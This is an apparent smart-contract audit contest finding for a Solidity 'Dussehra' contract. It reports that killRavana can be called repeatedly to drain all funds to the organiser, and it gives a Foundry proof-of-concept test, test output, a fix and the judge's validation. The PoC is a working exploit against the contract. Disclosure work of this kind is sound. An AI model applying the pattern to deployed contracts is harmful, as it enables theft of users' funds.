First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

### [H-5] `Dussehra::killRavana` function can be called multiple times to send all the funds in the event to the `organiser`.

Keyword

[H-5] Dussehra::killRavana function can be called multiple times to send all the funds in the event to the organiser

Description: The Dussehra:killRavana function allows participants to kill Ravana and this function must be called before Ram can claim the rewards of the event via the Dussehra::withdraw function. When this function is called, it will send half of the total amount collected to the organiser. The problem arises from the fact that this function is public and it can be called by anyone multiple times, in which case all the funds of the event will go towards the organiser's address.

Impact: Organiser can steal all the funds from the contract or a malicious user can call the function twice to purposefully send all the funds of others to the organiser address.

Proof of Concepts: Input the test below in the Dussehra.t.sol file.

PoC - Click the arrow below
function test_killRavanaMultiple() public {
//player 1 joins event
vm.startPrank(player1);
vm.deal(player1, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
//player2 joins event
vm.startPrank(player2);
vm.deal(player2, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
//player3 joins event
vm.startPrank(player3);
vm.deal(player3, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
//player4 joins event
vm.startPrank(player4);
vm.deal(player4, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
//choose Ram
vm.warp(1728691200 + 1);
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
​
//assert balance before
uint256 balanceDussehraBefore = address(dussehra).balance;
uint256 balanceOfOrganiserBefore = address(organiser).balance;
console.log(balanceDussehraBefore);
console.log(balanceOfOrganiserBefore);
​
//kill Ravana
vm.startPrank(organiser);
dussehra.killRavana();
vm.stopPrank();
assertEq(dussehra.IsRavanKilled(), true);
​
//assert balance after
uint256 balanceDussehraAfter = address(dussehra).balance;
uint256 balanceOfOrganiserAfter = address(organiser).balance;
console.log(balanceDussehraAfter);
console.log(balanceOfOrganiserAfter);
​
//kill Ravana twice
vm.startPrank(organiser);
dussehra.killRavana();
vm.stopPrank();
assertEq(dussehra.IsRavanKilled(), true);
​
//assert balance after
uint256 balanceDussehraAfter2 = address(dussehra).balance;
uint256 balanceOfOrganiserAfter2 = address(organiser).balance;
console.log(balanceDussehraAfter2);
console.log(balanceOfOrganiserAfter2);
}
​

Test output

[PASS] test_killRavanaMultiple() (gas: 669469)
Logs:
4000000000000000000
0
2000000000000000000
2000000000000000000
0
4000000000000000000
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.94ms (608.08µs CPU time)
​
Ran 1 test suite in 11.29ms (2.94ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
​

Recommended mitigation: Add another check in the Dussehra:killRavana function that will revert if IsRavanKilled = true;. Like this you will ensure that the function can only be called once.

function killRavana() public RamIsSelected {
//..
+ if (IsRavanKilled) {
+ revert Dussehra__RavanAlreadyKilled();
+ }
IsRavanKilled = true;
//..
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

isRavanKilled is not checked

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.